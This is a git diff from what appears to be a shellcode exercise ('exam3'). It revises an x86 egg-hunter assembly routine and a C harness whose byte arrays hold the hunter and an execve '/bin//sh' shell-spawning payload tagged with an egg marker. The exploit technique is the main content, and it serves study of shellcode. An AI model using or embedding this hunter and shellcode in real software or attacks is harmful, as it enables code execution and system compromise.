minor updates

exam3/hunter.nasm

@@ -28,26 +28,20 @@ global _start
 
 
 _start:
-	jmp short EggPoint
+	jmp short huntersEnd
 
 continue:
-	pop eax
+	pop eax		; Now EAX points at hunters End
 
 	; Searching for the Egg marker
 next:
-	inc eax		; Searching backwards
+	inc eax		; Searching forward
 isEgg:
-	cmp dword [eax-8], egg1
+	cmp dword [eax-8], egg1		; Checking if we can see egg1
-	jne next
+	jne next			; If not, continuing to search
 	cmp dword [eax-4], egg2
 	jne next
-	call eax
+	call eax			; Once found, we call our payload
-
-	; EXIT
-	xor eax, eax
-	mov al, 1
-	xor ebx, ebx
-	int 0x80
 
-EggPoint:
+huntersEnd:
 	call continue

exam3/shellcode.c

@@ -1,11 +1,11 @@
 #include <stdio.h>
 #include <string.h>
 
-unsigned char hunter[] = "\xeb\x1e\x58\x40\x81\x78\xf8\x63\x75\x73\x74\x75\xf6\x81\x78\xfc\x2e\x65\x67\x67\x75\xed\xff\xd0\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff";
+unsigned char hunter[] = "\xeb\x16\x58\x40\x81\x78\xf8\x45\x67\x67\x2d\x75\xf6\x81\x78\xfc\x4d\x61\x72\x6b\x75\xed\xff\xd0\xe8\xe5\xff\xff\xff";
 
 unsigned char garbage1[] = "Just some garbage here...";
 
-unsigned char payload[] = "\x63\x75\x73\x74\x2e\x65\x67\x67\x31\xc9\xb1\x08\x48\xe2\xfd\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
+unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc9\xb1\x08\x48\xe2\xfd\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
 
 unsigned char garbage2[] = "And some garbage there...";